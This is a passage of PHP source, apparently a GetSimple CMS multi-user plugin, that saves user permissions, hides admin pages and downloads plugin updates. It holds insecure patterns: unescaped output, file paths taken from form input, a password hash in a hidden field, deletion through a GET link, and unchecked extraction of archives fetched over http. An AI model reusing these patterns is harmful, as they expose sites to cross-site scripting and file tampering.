$permission_value = (string) $permission_value;
if($permission_value == 'no')
{
$permissions[$permission_key] = false;
}
else
{
$permissions[$permission_key] = true;
}
}
return $permissions;
}
}
public function mmProcessEditUser()
{
global $xml, $perm;
$NUSR = $_POST['usernamec'];
$usrfile = $_POST['usernamec'] . '.xml';
$NLANDING = (!isset($_POST['Landing']) || isset($_POST['Landing']) && $_POST['Landing'] == 'pages.php') ? '' : $_POST['Landing'];
$NPASSWD = (isset($_POST['userpassword']) && !empty($_POST['userpassword'])) ? passhash($_POST['userpassword']) : $_POST['nano'];
$email = (isset($_POST['useremail'])) ? $_POST['useremail'] : '';
$timezone = (isset($_POST['ntimezone'])) ? $_POST['ntimezone'] : '';
$lang = (isset($_POST['userlng'])) ? $_POST['userlng'] : '';
$usersname = (isset($_POST['users_name'])) ? $_POST['users_name'] : '';
$usersbio = (isset($_POST['users_bio'])) ? $_POST['users_bio'] : '';
$files = (isset($_POST['Files'])) ? $_POST['Files'] : '';
$pages = (isset($_POST['Pages'])) ? $_POST['Pages'] : '';
$theme = (isset($_POST['Theme'])) ? $_POST['Theme'] : '';
$plugins = (isset($_POST['Plugins'])) ? $_POST['Plugins'] : '';
$backups = (isset($_POST['Backups'])) ? $_POST['Backups'] : '';
$settings = (isset($_POST['Settings'])) ? $_POST['Settings'] : '';
$support = (isset($_POST['Support'])) ? $_POST['Support'] : '';
$edit = (isset($_POST['Edit'])) ? $_POST['Edit'] : '';
$admin = (isset($_POST['Admin'])) ? $_POST['Admin'] : '';
if (isset($_POST['usernamec']))
{
// Edit user xml file - This coding was mostly taken from the 'settings.php' page..
$xml = new SimpleXMLExtended('<item></item>');
$xml->addChild('USR', $NUSR);
$xml->addChild('PWD', $NPASSWD);
$xml->addChild('EMAIL', $email);
$xml->addChild('HTMLEDITOR', $_POST['usereditor']);
$xml->addChild('TIMEZONE', $timezone);
$xml->addChild('LANG', $lang);
$xml->addChild('USERSNAME', $usersname);
$userbio = $xml->addChild('USERSBIO');
$userbio->addCData($usersbio);
$perm = $xml->addChild('PERMISSIONS');
$perm->addChild('PAGES', $pages);
$perm->addChild('FILES', $files);
$perm->addChild('THEME', $theme);
$perm->addChild('PLUGINS', $plugins);
$perm->addChild('BACKUPS', $backups);
$perm->addChild('SETTINGS', $settings);
$perm->addChild('SUPPORT', $support);
$perm->addChild('EDIT', $edit);
$perm->addChild('LANDING', $NLANDING);
$perm->addChild('ADMIN', $admin);
save_custom_permissions();
if (!XMLsave($xml, GSUSERSPATH . $usrfile))
{
$error = i18n_r('user-managment/SAVEERROR');
echo $error;
}
// Redirect after script is completed... I will make the script submit via ajax later
else
{
print '<div class="updated" style="display: block;">'.i18n_r('user-managment/SAVED').'</div>';
}
mmManageUsersForm();
}
}
public function mmCheckPermissions()
{
//echo $this->mmUserFile('SETTINGS'); //only for debug purposes
//Find Current script and trim path
$current_file = $_SERVER["PHP_SELF"];
$current_file = basename(rtrim($current_file, '/'));
$current_script = $_SERVER["QUERY_STRING"];
//Settings.php permissions
if ($current_file == "settings.php") {
if ($this->mmUserFile('SETTINGS') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$settings_menu ="";
}
}
if ($this->mmUserFile('SETTINGS') == "no") {
$settings_menu = ".settings {display:none !important;}";
$settings_footer = "$(\"a\").remove(\":contains('General Settings')\");";
}
else {
$settings_menu ="";
$settings_footer = "";
}
//backups.php permisions
if ($current_file == "backups.php") {
if ($this->mmUserFile('BACKUPS') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$backups_menu ="";
}
}
if ($this->mmUserFile('BACKUPS') == "no") {
$backups_menu = ".backups {display:none !important;}";
$backups_footer = "$(\"a\").remove(\":contains('Backup Management')\");";
}
else {
$backups_menu ="";
$backups_footer = "";
}
//plugins.php permissions
if ($current_file == "plugins.php") {
if ($this->mmUserFile('PLUGINS') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$plugins_menu ="";
}
}
if ($this->mmUserFile('PLUGINS') == "no") {
$plugins_menu = ".plugins {display:none !important;}";
$plugins_footer = "$(\"a\").remove(\":contains('Plugin Management')\");";
}
else {
$plugins_menu ="";
$plugins_footer = "";
}
//pages.php permissions - If pages is disabled, this coding will kill the pages script and redirect to the chosen alternate landing page
if ($current_file == "pages.php") {
if ($this->mmUserFile('PAGES') == "no") {
die('<meta http-equiv="refresh" content="0;url='.$this->mmUserFile('LANDING').'">');
}
else {
$pages_menu ="";
}
}
if ($this->mmUserFile('PAGES') == "no") {
$pages_menu = ".pages {display:none !important;}";
$pages_footer = "$(\"a\").remove(\":contains('Page Management')\");";
}
else {
$pages_menu ="";
$pages_footer = "";
}
//support.php & health-check.php permissions
if ($current_file == "support.php") {
if ($this->mmUserFile('SUPPORT') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$support_menu = "";
}
}
if ($this->mmUserFile('SUPPORT') == "no") {
$support_menu = ".support {display:none !important;}";
$support_footer = "$(\"a\").remove(\":contains('Support')\");";
}
else {
$support_menu = "";
$support_footer = "";
}
//uploads.php (files page) permissions
if ($current_file == "upload.php") {
if ($this->mmUserFile('FILES') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$files_menu = "";
$files_footer = "";
}
}
if ($this->mmUserFile('FILES') == "no") {
$files_menu = ".files {display:none !important;}";
$files_footer = "$(\"a\").remove(\":contains('File Management')\");";
}
else {
$files_menu = "";
$files_footer = "";
}
//theme.php permissions
if ($current_file == "theme.php") {
if ($this->mmUserFile('THEME') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$theme_menu = "";
}
}
if ($this->mmUserFile('THEME') == "no") {
$theme_menu = ".theme {display:none !important;}";
$theme_footer = "$(\"a\").remove(\":contains('Theme Management')\");";
}
else {
$theme_menu = "";
$theme_footer = "";
}
//archive.php
if ($current_file == "archive.php") {
if ($this->mmUserFile('BACKUPS') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
}
}
//theme-edit.php permissions
if ($current_file == "theme-edit.php") {
if ($this->mmUserFile('THEME') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
}
}
//components.php permissions
if ($current_file == "components.php") {
if ($this->mmUserFile('THEME') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
}
}
//edit.php
if ($current_file == "edit.php") {
if ($this->mmUserFile('EDIT') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
else {
$edit_menu = "";
}
}
if ($this->mmUserFile('EDIT') == "no") {
$edit_footer = "$(\"a\").remove(\":contains('reate New Page')\");";
}
else {
$edit_menu = "";
$edit_footer ="";
}
//Admin - Do not allow permissions to edit users
if ($current_script == "id=user-managment") {
if ($this->mmUserFile('ADMIN') == "no") {
die('You Do Not Have Permissions To Access This Page');
}
}
if ($this->mmUserFile('ADMIN') == "no") {
$admin_footer = "$(\"a\").remove(\":contains('User Management')\");";
}
else {
$admin_footer ="";
}
//Hide Menu Items
echo"<style type=\"text/css\">";
echo $settings_menu . $backups_menu . $plugins_menu . $pages_menu . $support_menu . $files_menu . $theme_menu;
echo "</style>";
//Hide Footer Menu Items With Jquery
echo "<script type=\"text/javascript\">";
echo "\n";
echo "$(document).ready(function() {";
echo "\n";
echo $files_footer . $settings_footer . "\n" . $backups_footer . "\n" . $plugins_footer . "\n" . $pages_footer . "\n" . $support_footer . "\n" . $theme_footer . "\n" . $edit_footer . "\n" . $admin_footer;
echo "\n";
echo " });";
echo "</script>";
}
public function DownloadPlugin($id)
{
$pluginurl = $this->DownloadPlugins($id, 'file');
$pluginfile = $this->DownloadPlugins($id, 'filename_id');
$data = file_get_contents($pluginurl);
$fp = fopen($pluginfile, "wb");
fwrite($fp, $data);
fclose($fp);
function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)
{
if ($zip = zip_open($src_file))
{
if ($zip)
{
$splitter = ($create_zip_name_dir === true) ? "." : "/";
if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";
// Create the directories to the destination dir if they don't already exist
create_dirs($dest_dir);
// For every file in the zip-packet
while ($zip_entry = zip_read($zip))
{
// Now we're going to create the directories in the destination directories
// If the file is not in the root dir
$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
if ($pos_last_slash !== false)
{
// Create the directory where the zip-entry should be saved (with a "/" at the end)
create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
}
// Open the entry
if (zip_entry_open($zip,$zip_entry,"r"))
{
// The name of the file to save on the disk
$file_name = $dest_dir.zip_entry_name($zip_entry);
// Check if the files should be overwritten or not
if ($overwrite === true || $overwrite === false && !is_file($file_name))
{
// Get the content of the zip entry
$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
file_put_contents($file_name, $fstream );
// Set the rights
chmod($file_name, 0755);
}
// Close the entry
zip_entry_close($zip_entry);
}
}
// Close the zip-file
zip_close($zip);
}
}
else
{
return false;
}
return true;
}
/**
* This function creates recursive directories if it doesn't already exist
*
* @param String The path that should be created
*
* @return void
*/
function create_dirs($path)
{
if (!is_dir($path))
{
$directory_path = "";
$directories = explode("/",$path);
array_pop($directories);
foreach($directories as $directory)
{
$directory_path .= $directory."/";
if (!is_dir($directory_path))
{
mkdir($directory_path);
chmod($directory_path, 0777);
}
}
}
}
$pluginname = $this->DownloadPlugins($id, 'name');
/* Unzip the source_file in the destination dir
*
* @param string The path to the ZIP-file.
* @param string The path where the zipfile should be unpacked, if false the directory of the zip-file is used
* @param boolean Indicates if the files will be unpacked in a directory with the name of the zip-file (true) or not (false) (only if the destination directory is set to false!)
* @param boolean Overwrite existing files (true) or not (false)
*
* @return boolean Succesful or not
*/
// Extract C:/zipfiletest/zip-file.zip to C:/another_map/zipfiletest/ and doesn't overwrite existing files. NOTE: It doesn't create a map with the zip-file-name!
$success = unzip($pluginfile, "../plugins/", true, true);
if ($success){
print '<div class="updated">'.$pluginname.' Was Succesfully Updated</div>';
}
else{
print "<div class=\"updated\">Error: DAMN! The Script Could Not Extract And CHMOD The Archive</div>";
}
mmManageUsersForm();
}
public function DownloadPlugins($id, $get_field)
{
$my_plugin_id = $id; // replace this with yours
$apiback = file_get_contents('http://get-simple.info/api/extend/?id='.$my_plugin_id);
$response = json_decode($apiback);
if ($response->status == 'successful') {
// Successful api response sent back.
$get_field_data = $response->$get_field;
}
return $get_field_data;
}
}
function mmManageUsersForm()
{
$MultiUser = new MultiUser;
# get all available language files
$lang_handle = opendir(GSLANGPATH) or die("Unable to open ". GSLANGPATH);
while ($lfile = readdir($lang_handle)) {
if( is_file(GSLANGPATH . $lfile) && $lfile != "." && $lfile != ".." ) {
$lang_array[] = basename($lfile, ".php");
}
}
if (count($lang_array) != 0) {
sort($lang_array);
$count = '0'; $sel = ''; $langs = '';
foreach ($lang_array as $larray){
$langs .= '<option value="'.$larray.'" >'.$larray.'</option>';
$count++;
}
}
//Get Available Timezones
ob_start(); include ("../admin/inc/timezone_options.txt");$Timezone_Include = ob_get_contents();ob_end_clean();
//Styles For Form
?>
<style>
.text {
width:160px !important;
}
.user_tr_header {
border:0px;border-bottom:0px;border-bottom-width:0px;
}
.user_tr {
border:0px;border-bottom:0px;border-bottom-width:0px;background:#F7F7F7;
}
.user_tr td{
border:0px;border-bottom:0px;border-bottom-width:0px;background:#F7F7F7;
}
.user_sub_tr {
border:0px;border-bottom:0px !important; border-bottom-width:0px !important;border-top:0px;border-top-width:0px !important;display:none
}
.user_sub_tr h3{
font-size:14px; padding:0px;margin:0px;
}
.user_sub_tr td{
border:0px;border-bottom:0px !important;border-bottom-width:0px !important;padding-top:6px !important; border-top: 0px !important;
}
.hiduser {
display:none;
}
.user_sub_tr select{
width:160px;
}
.perm label {
clear:left
}
.perm_div {
width:70px;height:40px;float:left;margin-left:4px;
}
.custom_perm_div {
width:155px;height:40px;float:left;margin-left:4px;
}
.leftsec {
width:180px;float:left;
}
.rightsec {
width:180px;
}
.perm_select {
width:220px;float:left;
}
.perm_div_2 {
width:auto;float:left;padding-top:6px;
}
.acurser {
cursor:pointer;text-decoration:underline;color:#D94136;position:absolute;margin-left:0px;
}
.hcurser {
cursor:pointer;text-decoration:underline;color:#D94136;
}
.edit-pointer {
cursor:pointer;
}
.cke_skin_getsimple {border: 1px solid
#999;
-moz-border-radius: 4px 4px 0 0;
-khtml-border-radius: 4px 4px 0 0;
-webkit-border-radius: 4px 4px 0 0;
border-radius: 4px 4px 0 0;
overflow: hidden;
}
.cke_top {
border-bottom: 1px solid
#999;
background:
#EEE;
background: -moz-linear-gradient(top,
#EEE,
#E2E2E2);
background: -webkit-gradient(linear, left top, left bottom, from(
#EEE), to(
#E2E2E2));
}
.cke_toolbar {
margin: 2px 0 0px 2px;
background:
transparent;
}
</style>
<!-- Below is the 'Table Headers' For The user data -->
<h3 class="floated"><?php i18n('user-managment/TITLE'); ?></h3>
<div class="edit-nav clearfix">
<p>
<a href="#" id="add-user"><?php i18n('user-managment/ADDUSER'); ?></a>
</p>
<p>
<a href="#" ONCLICK="decision('<?php i18n('user-managment/UPDATESURE'); ?>', 'load.php?id=user-managment&download_id=133')"><?php i18n('user-managment/UPDATE'); ?></a>
</p>
</div>
<table class="user_table">
<tr>
<th>Username:</th>
<th>Email:</th>
<th>HTML Editor:</th>
<th><?php i18n('user-managment/EDIT'); ?></th>
</tr>
<?php
// Open Users Directory And Put Filenames Into Array
$dir = GSUSERSPATH."*.xml";
// Make Edit Form For Each User XML File Found
foreach (glob($dir) as $file) {
$xml = simplexml_load_file($file) or die("Unable to load XML file!");
// PERMISSIONS CHECKBOXES - Checks XML File To Find Existing Permissions Settings //
// Pages
if ($xml->PERMISSIONS->PAGES != "")
{
$pageschecked = "checked";
$pages_dropdown = "";
}
else
{
$pageschecked = "";
$pages_dropdown = "<option value=\"pages.php\">Pages</option>";
}
//Files - uploads.php
if ($xml->PERMISSIONS->FILES != "")
{
$fileschecked = "checked";
}
else {$fileschecked = "";}
//Theme
if ($xml->PERMISSIONS->THEME != "")
{
$themechecked = "checked";
}
else {$themechecked = "";}
//Plugins
if ($xml->PERMISSIONS->PLUGINS != "")
{
$pluginschecked = "checked";
}
else {$pluginschecked = "";}
//Backuops
if ($xml->PERMISSIONS->BACKUPS != "")
{
$backupschecked = "checked";
}
else {$backupschecked = "";}
//Settings
if ($xml->PERMISSIONS->SETTINGS != "")
{
$settingschecked = "checked";
}
else {$settingschecked = "";}
//Support
if ($xml->PERMISSIONS->SUPPORT != "")
{
$supportchecked = "checked";
}
else {$supportchecked = "";}
//Admin
if ($xml->PERMISSIONS->ADMIN != "")
{
$adminchecked = "checked";
}
else {$adminchecked = "";}
//Landing Page
if ($xml->PERMISSIONS->LANDING != "pages.php")
{
$landingselected = $xml->PERMISSIONS->LANDING;
}
else {$landingselected = "pages.php";}
//Edit
if ($xml->PERMISSIONS->EDIT != "")
{
$editchecked = "checked";
}
else {$editchecked = "";}
//Html Editor
if ($xml->HTMLEDITOR == "")
{
$htmledit = "No";
}
else
{
$htmledit = "Yes";
}
if ($htmledit == "No")
{
$cchecked = "";
}
elseif ($htmledit == "Yes")
{
$cchecked = "checked";
}
//Below is the User Data
?>
<script language="javascript">
function decision(message, url){
if(confirm(message)) location.href = url;
}
</script>
<tr class="user_tr">
<td>
<?php echo $xml->USR; ?>
</td>
<td>
<?php echo $xml->EMAIL; ?>
</td>
<td>
<?php echo $htmledit; ?>
</td>
<!-- Edit Button (Expanded By Jquery Script) -->
<td>
<a style="" class="edit-pointer edit-user<?php echo $xml->USR; ?> acurser"><?php i18n('user-managment/EDIT'); ?></a><a style="" class="hide-user<?php echo $xml->USR; ?> acurser hiduser"><?php i18n('user-managment/HIDE'); ?></a>
</td>
</tr>
<!-- Begin 'Edit User' Form -->
<form method="post" action="load.php?id=user-managment">
<!-- Edit Username -->
<tr class="hide-div<?php echo $xml->USR; ?> user_sub_tr" style="">
<td style="">
<label for="users_name"><?php i18n('user-managment/USERS_NAME'); ?></label>
<input class="text" id="users_name" name="users_name" type="text" value="<?php echo $xml->USERSNAME; ?>" />
</td>
<!-- Edit Email -->
<td style="">
<br/>
<input class="text" id="useremail" name="useremail" type="text" value="<?php echo $xml->EMAIL; ?>" />
</td>
<!-- HTML Editor Permissions -->
<td style="">
<br/>
<input name="usereditor" id="usereditor" type="checkbox" <?php echo $cchecked; ?> />
</td>
<!-- Change Password -->
</tr>
<tr class="hide-div<?php echo $xml->USR; ?> user_sub_tr" style="">
<td style="">
<label for="userpassword">Password:</label>
<input autocomplete="off" class="text" id="userpassword" name="userpassword" type="password" value="" />
</td>
<!-- Change Language -->
<td>
<label for="userlng">Language:</label>
<select name="userlng" id="userlng" class="text">
<option value="<?php echo $xml->LANG; ?>"selected="selected"><?php echo $xml->LANG; ?></option>
<?php echo $langs; ?>
</select>
</td>
<!-- Change Timezone -->
<td>
<label for="ntimezone">Timezone:</label>
<select class="text" id="ntimezone" name="ntimezone">
<option value="<?php echo $xml->TIMEZONE; ?>" selected="selected"><?php echo $xml->TIMEZONE; ?></option>
<?php echo $Timezone_Include; ?>
</select>
</td>
</tr>
<tr class="hide-div<?php echo $xml->USR; ?> user_sub_tr" style="">
<td colspan="4" height="16">
<div style="padding-top:5px;padding-bottom:10px;">
<?php global $editor_id; $editor_id = (string) $xml->USR; ?>
<label><?php i18n('user-managment/USER_BIO'); ?></label>
<textarea name="users_bio" id="post-content<?php echo $editor_id; ?>"><?php echo $xml->USERSBIO; ?></textarea>
<?php include MULTIUSERPLUGINFOLDER."ckeditor.php"; ?>
</div>
</td>
</tr>
<!-- Permissions Checkboxes -->
<tr class="hide-div<?php echo $xml->USR; ?> user_sub_tr perm" style="">
<td colspan="4" height="16">
<h3 style=""><?php i18n('user-managment/PERM') ?></h3>
</td>
</tr>
<tr class="hide-div<?php echo $xml->USR; ?> user_sub_tr" style="">
<td colspan="4">
<div class="perm_div"><label><?php i18n('user-managment/PAGES'); ?></label>
<input type="checkbox" name="Pages" value="no" <?php echo $pageschecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/FILES'); ?></label>
<input type="checkbox" name="Files" value="no" <?php echo $fileschecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/THEME'); ?></label>
<input type="checkbox" name="Theme" value="no" <?php echo $themechecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/PLUGINS'); ?></label>
<input type="checkbox" name="Plugins" value="no" <?php echo $pluginschecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/BACKUPS'); ?></label>
<input type="checkbox" name="Backups" value="no" <?php echo $backupschecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/SETTINGS'); ?></label>
<input type="checkbox" name="Settings" value="no" <?php echo $settingschecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/SUPPORT'); ?></label>
<input type="checkbox" name="Support" value="no" <?php echo $supportchecked; ?> />
</div>
<div class="perm_div"><label><?php i18n('user-managment/EDIT'); ?></label>
<input type="checkbox" name="Edit" value="no" <?php echo $editchecked; ?> />
</div>
<div class="perm_select"><label><?php i18n('user-managment/LAND'); ?>
<a class="hcurser" title="This is where you can set an alternate landing page the user will arrive at upon logging in">?</a></label>
<select name="Landing" id="userland" class="text">
<option value="<?php echo $landingselected; ?>" selected="selected"><?php echo $landingselected; ?></option>
<?php echo $pages_dropdown; ?>
<option value="theme.php">Theme</option>
<option value="settings.php">Settings</option>
<option value="support.php">Support</option>
<option value="edit.php">Edit</option>
<option value="plugins.php">Plugins</option>
<option value="upload.php">Upload</option>
<option value="backups.php">Backups</option>
</select>
</div>
<div class="perm_div_2">
<label><?php i18n('user-managment/ADMIN'); ?></label>
<input type="checkbox" id="Admin" name="Admin" value="no" <?php echo $adminchecked; ?> />
</div>
<div class="clear"></div>
<h3>Custom Permissions</h3>
<?php exec_mu_permissions($file); ?>
<div class="clear"></div>
</td>
</tr>
<!-- Submit Form -->
<tr class="hide-div<?php echo $xml->USR; ?> user_sub_tr perm" style="">
<td>
<input class="submit" type="submit" name="edit-user" value="<?php i18n('user-managment/SAVE'); ?>"/>
<a class="hcurser" ONCLICK="decision('<?php echo i18n_r('user-managment/DELETESURE'). ' '. $xml->USR . '?'; ?>','load.php?id=user-managment&deletefile=<?php echo $xml->USR; ?>')"><?php i18n('user-managment/DELETE'); ?></a>
</td>
</tr>
</div>
<input type="hidden" name="nano" value="<?php echo $xml->PWD; ?>"/><input type="hidden" name="usernamec" value="<?php echo $xml->USR; ?>"/>
</form>
<?php
}
echo "</table>";
echo '<script type="text/javascript">';
//For Each User XML Filed, Print jQuery To Show/Hide The 'Edit User' And 'Add User' Sections
foreach (glob($dir) as $file) {
$xml = simplexml_load_file($file) or die("Unable to load XML file!");
?>
$(".edit-user<?php echo $xml->USR; ?>").click(function () {
$(".edit-user<?php echo $xml->USR; ?>").slideUp();
$(".hide-user<?php echo $xml->USR; ?>").slideDown();
$(".hide-div<?php echo $xml->USR; ?>").css('display','table-row');
});
$(".hide-user<?php echo $xml->USR; ?>").click(function () {
$(".edit-user<?php echo $xml->USR; ?>").slideDown();
$(".hide-user<?php echo $xml->USR; ?>").slideUp();
$(".hide-div<?php echo $xml->USR; ?>").css('display','none');
});
$("hideagain").click(function () {
$(".edit-user<?php echo $xml->USR; ?>").slideUp();
$(".hide-div<?php echo $xml->USR; ?>").css('display','none');
});
$("#add-user").click(function () {
$("#add-user").slideUp();
$(".hide-div").slideDown();
});
<?php
}
echo "</script>";
// ADD USER FORM //
?>
<!-- Below is the html form to add a new user.. It is proccesed with 'readxml.php' -->
<div id="profile" class="hide-div section" style="display:none;margin-top:0px;">
<form method="post" action="load.php?id=user-managment">
<h3><?php i18n('user-managment/ADDUSER'); ?></h3>
<div class="leftsec">
<p><label for="usernamec" >Username:</label><input class="text" id="usernamec" name="usernamec" type="text" value="" /></p>
</div>
<div class="rightsec">
<p><label for="useremail" >Email :</label><input class="text" id="useremail" name="useremail" type="text" value="" /></p>
</div>
<div class="leftsec">
<p><label for="ntimezone" >Timezone:</label>
<select class="text" id="ntimezone" name="ntimezone">
<option value="<?php echo $MultiUser->mmUserFile('TIMEZONE', true); ?>" selected="selected"><?php echo $xml->TIMEZONE; ?></option>
<?php echo $Timezone_Include; ?>
</select>
</select>
</p>
</div>
<div class="rightsec">
<p><label for="userlng" >Language:</label>
<select name="userlng" id="userlng" class="text">
<option value="en_US"selected="selected">English (en_US)</option>
<?php echo $langs ?>
</select>
</p>
</div>
<div class="leftsec">
<p><label for="userpassword" >Password:</label><input autocomplete="off" class="text" id="userpassword" name="userpassword" type="password" value="" /></p>
</div>
<div class="leftsec">
<p class="inline" style="padding-top:24px;"><input name="usereditor" id="usereditor" type="checkbox" value="1" checked="checked" /> <label for="usereditor" >Enable the HTML editor</label></p>
</div>
<div class="clear"></div>
<h3 style="font-size:14px;"><?php i18n('user-managment/PERM'); ?></h3>
<div class="perm_div"><label for="Pages"><?php i18n('user-managment/PAGES'); ?></label>
<input type="checkbox" id="Pages" name="Pages" value="no" />
</div>
<div class="perm_div"><label for="Files"><?php i18n('user-managment/FILES'); ?></label>
<input type="checkbox" id="Files" name="Files" value="no" />
</div>
<div class="perm_div"><label for="Theme"><?php i18n('user-managment/THEME'); ?></label>
<input type="checkbox" id="Theme" name="Theme" value="no" />
</div>
<div class="perm_div"><label for="Plugins"><?php i18n('user-managment/PLUGINS'); ?></label>
<input type="checkbox" id="Plugins" name="Plugins" value="no" />
</div>
<div class="perm_div"><label for="Backups"><?php i18n('user-managment/BACKUPS'); ?></label>
<input type="checkbox" id="Backups" name="Backups" value="no" />
</div>
<div class="perm_div"><label for="Settings"><?php i18n('user-managment/SETTINGS'); ?></label>
<input type="checkbox" id="Settings" name="Settings" value="no" />
</div>
<div class="perm_div"><label for="Support"><?php i18n('user-managment/SUPPORT'); ?></label>
<input type="checkbox" id="Support" name="Support" value="no" />
</div>
<div class="perm_div"><label for="Edit"><?php i18n('user-managment/EDIT'); ?></label>
<input type="checkbox" id="Edit" name="Edit" value="no" />
</div>
<div style="clear:both"></div>
<div class="perm_select"><label for="userland"><?php i18n('user-managment/LAND'); ?>
<a href="#" title="This is where you can set an alternate landing page the user will arrive at upon logging in">?</a></label>
<select name="Landing" id="userland" class="text">
<option value="" selected="selected"></option>
<option value="pages.php">Pages</option>
<option value="theme.php">Theme</option>
<option value="settings.php">Settings</option>
<option value="support.php">Support</option>
<option value="edit.php">Edit</option>
<option value="plugins.php">Plugins</option>
<option value="upload.php">Upload</option>
<option value="backups.php">Backups</option>
</select>
</div>
<div class="perm_div_2"><label for="Admin"><?php i18n('user-managment/ADMIN'); ?></label>
<input type="checkbox" id="Admin" name="Admin" value="no" />
</div>
<div class="clear"></div>
<div class="rightsec">
<p></p>
</div>
<div class="clear"></div>
<p id="submit_line" >
<span><input class="submit" type="submit" name="add-user" value="<?php i18n('user-managment/ADDUSER'); ?>" /></span>
<?php i18n('OR'); ?> <a class="cancel" href="settings.php?cancel"><?php i18n('CANCEL'); ?></a>
</p></form>
</div>
<?php
}
function mm_admin()
{
$mm_admin = new MultiUser;
if(!isset($_POST['usernamec']) && !isset($_GET['deletefile']) && !isset($_POST['add-user']) && !isset($_GET['download_id']))
{
mmManageUsersForm();
}
if(isset($_POST['edit-user']))
{
$mm_admin->mmProcessEditUser();
}
if(isset($_GET['deletefile']))
{
$mm_admin->mmDeleteUser();
}
if(isset($_POST['add-user']))
{
$mm_admin->mmAddUser();
}
if(isset($_GET['download_id']))
{
$mm_admin->DownloadPlugin($_GET['download_id']);
}
}
function mm_permissions()
{
$mm_admin = new MultiUser;
$mm_admin->mmCheckPermissions();
}
function mm_gs_settings_pg()
{
$mm_settings = new MultiUser;
$mm_settings->mmProcessSettings();
}
function settings_form_data()
{
$MultiUser = new MultiUser;
?>
<div style="padding-top:5px;padding-bottom:20px;">
<label for="users_name"><?php i18n('user-managment/USERS_NAME'); ?></label>
<input class="text" id="users_name" name="users_name" type="text" value="<?php echo $MultiUser->mmUserFile('USERSNAME', true); ?>" />
<div style="clear:both;padding-top:10px;"></div>
<?php global $editor_id; $editor_id = (string) ''; ?>
<label><?php i18n('user-managment/USER_BIO'); ?></label>
<textarea name="users_bio" id="post-content"><?php echo $MultiUser->mmUserFile('USERSBIO', true); ?></textarea>
<?php include MULTIUSERPLUGINFOLDER."ckeditor.php"; ?>
</div>
<?php
}
$EDHEIGHT = defined('GSEDITORHEIGHT') ? GSEDITORHEIGHT . 'px' : '300px';
$EDTOOL = defined('GSEDITORTOOL') ? GSEDITORTOOL : 'basic';
$EDLANG = defined('GSEDITORLANG') ? GSEDITORLANG : i18n_r('CKEDITOR_LANG');
$EDOPTIONS = defined('GSEDITOROPTIONS') && trim(GSEDITOROPTIONS) != '' ? ', ' . GSEDITOROPTIONS : '';
if ($EDTOOL == 'advanced')
{
$TOOLBAR = "
['Bold', 'Italic', 'Underline', 'NumberedList', 'BulletedList', 'JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock', 'Table', 'TextColor', 'BGColor', 'Link', 'Unlink', 'Image', 'RemoveFormat', 'Source'],
'/',
['Styles','Format','Font','FontSize']
";
}
elseif ($EDTOOL == 'basic')
{
$TOOLBAR = "['Bold', 'Italic', 'Underline', 'NumberedList', 'BulletedList', 'JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock', 'Link', 'Unlink', 'Image', 'RemoveFormat', 'Source']";
}
else
{
$TOOLBAR = GSEDITORTOOL;
}
function exec_mu_permissions($file_path)
{
global $permission_actions;
if(is_array($permission_actions) && !empty($permission_actions))
{
$userData = getXML($file_path);
foreach ($permission_actions as $permission)
{
$permission_value = (string) $userData->PERMISSIONS->$permission['name'];
$checked = ($permission_value == 'no') ? 'checked' : '';
echo '<div class="custom_perm_div"><label for="'.$permission['name'].'">'.$permission['label'].'</label>
<input type="checkbox" id="'.$permission['name'].'" name="Custom-'.$permission['name'].'" value="no" '.$checked.' />
</div>';
}
}
}
function save_custom_permissions($settings_page=false)
{
$mm_settings = new MultiUser;
global $xml, $perm, $permission_actions;
if(is_array($permission_actions) && !empty($permission_actions))
{
if($settings_page == false)
{
foreach ($permission_actions as $permission)
{
if(isset($_POST['Custom-'.$permission['name']]))
{
$perm->addChild($permission['name'], $_POST['Custom-'.$permission['name']]);
}
else
{
$perm->addChild($permission['name'], '');
}
}
}
else
{
foreach ($permission_actions as $permission)
{
$perm_value = $mm_settings->mmUserFile($permission['name']);
$perm->addChild($permission['name'], $perm_value);
}
}
}
}
/**
* Add Custom Permission
* This can be used by other plugins to add custom permission the the user management section
*
* @param string $name Name of node to save permission as in user xml file
* @param string $label The label that will be seen next to the permission on the "Edit User" page
*/
function add_mu_permission($name, $label)
{
global $permission_actions;
$permission_actions[] = array(
'name' => $name,
'label' => $label);
}
/**
* Check individual user permission
*
* @param string $user the username to get permission
* @param string $permission the permission to get - needs to be the name of the node in the user xml file
* @return bool whether user is allowed
*/
function check_user_permission($user, $permission)
{
$mm_admin = new MultiUser;
return $mm_admin->getUserPermission($user, $permission);
}
/**
* Returns array of all user permissions
*
* @param string $user the username to get permissions
* @param array the permissions
*/
function check_user_permissions($user)
{
$mm_admin = new MultiUser;
return $mm_admin->getUserPermission($user);
}
?>